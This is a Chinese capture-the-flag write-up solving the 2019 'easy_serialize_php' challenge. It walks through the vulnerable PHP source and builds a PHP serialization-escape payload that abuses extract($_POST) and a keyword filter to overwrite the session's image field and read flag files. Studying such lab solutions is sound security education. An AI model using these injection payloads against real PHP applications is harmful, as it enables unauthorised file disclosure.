[安洵杯 2019]easy_serialize_php 1 WP
[安洵杯 2019]easy_serialize_php 1 WP
这道题目考察的主要是序列化与反序列化过程中,对象逃逸的一个漏洞。
说是对象逃逸,我觉得可能叫对象注入比较形象。
首先题目上来可以看到源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
变量覆写
首先关于这个部分
extract($_POST);
使用这个,我们可以任意post东西上去,覆写任意变量。
比如我们post一个SESSION['haha'] = 1
, 这个时候原来SESSION的user,function和img项全部会消失,SESSION会只剩一个haha项,值为1
当然,如果我们post三个值user,function和img项上去,就可以替换原来的值。
这里倒没有那么方便,因为img的处理是在post之后进行的。
关于题目内容
简要概括一下就是对session的处理。
session里有三个参数
参数名 | 参数内容 | 参数用处 |
---|---|---|
user | “guest" | 用户名一类的参数,后面这里是溢出的payload入口 |
function | \(function = @\)_GET['f']; | 由代码观察,这里是用于放入所选的函数的入口,如 highlight_file, phpinfo, show_image等 |
img | base64_encode('guest_img.png') | 如果没有输入img_path, 就对img做这样的处理 |
sha1(base64_encode($_GET['img_path'])) | 如果输入了img_path参数,就对img_path做这样的处理。 |
我们希望使用代码最后一句echo file_get_contents(base64_decode($userinfo['img']));
读取到文件内容,
即phpinfo中core部分可以找到的d0g3_f1ag.php文件。
所以我们要让base64_decode($userinfo['img'] == "d0g3_f1ag.php"
所以$userinfo['img'] 要等于 ZDBnM19mMWFnLnBocA==
$_SESSION序列化后, 使用原函数中的filter过滤,然后再反序列化得到这里的$_userinfo。
但是原函数带的对img的处理方式有点让人难以接受,它对其Sha1哈希处理,没有办法利用,随引入本题使用的方式,序列化注入。
序列化逃逸(注入)
回顾一下题目对SESSION的处理。
SESSION --(序列化)--> --(filter函数过滤)--> --(反序列化)--> userinfo --> 读取以userinfo['img']为文件名的内容
在这个序列化和反序列化中间,多了一个过滤的步骤,这就让我们有机可趁。
反序列化从字符串构建变量,依靠关于变量长度的描述。
比如
s:4:"user"
读取这个user字符串,反序列化函数读取到4,就知道这个字符串有4个长度,遂读取4个字符。
然而,对于这个字符串
s:12:"flagflagflag";s:5:"guest";s:2:"hi";
在经过过滤后会变成
s:12:"";s:5:"guest";s:2:"hi";
这个时候,反序列化函数会根据前面的12,读取12个字符,生成这么一个对象
";s:5:"guest
它的值是
hi
知道了这么一个技巧后,我们就可以精心构建一个字符串
我们希望最终构建一个这样的SESSION
<?php
$_SESSION["user"] = "anything";
$_SESSION["function"] = "haha";
$_SESSION["img"] = "ZDBnM19mMWFnLnBocA==";
echo(serialize($_SESSION));
?>
##a:3:{s:4:"user";s:8:"anything";s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
然而,如果正常按照题目流程,生成的SESSION应该是这个样子的
<?php
$_SESSION["user"] = "guest";
$_SESSION["function"] = "highlight_file";
$_SESSION["img"] = base64_encode('guest_img.png');
echo(serialize($_SESSION));
?>
##a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
我们考虑使用user的值,来吞掉后面的部分,即在guest的位置注入,然后让它一直吞到function后面那个数字冒号的位置,让传到function的值来充当原来的值(吞掉的为下面的黑色粗体方框内容)
a:3:{s:4:"user";s:5:"guest【";s:8:"function";s:14:】"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
所以function的值应该包含这些
;s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
题目中过滤掉了php,flag,即3位和4位的字符串,我们需要吞掉22位,考虑php*6 + flag
phpphpphpphpphpphpflag
最终服务端构建出来的字符串为这个样子(黑粗体方框内为我们传入的function内容)
a:3:{s:4:"user";s:22:"phpphpphpphpphpphpflag";s:8:"function";s:66:【";s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}】";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
经过过滤后是这个样子的
a:3:{s:4:"user";s:22:"";s:8:"function";s:66:";s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这串字符串中,各个变量值为
变量名 | 变量值 |
---|---|
user | ";s:8:"function";s:66: |
function | haha |
img | ZDBnM19mMWFnLnBocA== |
这样我们便完成了对img的覆写。原来的img覆写内容被丢在了序列化字符串外边,没有收到反序列化函数的光顾,像个孤儿。
最终我们传入的参数为
参数名 | 参数值 |
---|---|
user | phpphpphpphpphpphpflag |
function | ;s:8:"function";s:4:"haha";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} |
f | show_image (get方式上传) |
看下最终效果。
可以看到, 他说flag在/d0g3_fllllllag,我们同理读取
Base64后为
L2QwZzNfZmxsbGxsbGFn
记得包括斜杠
奈斯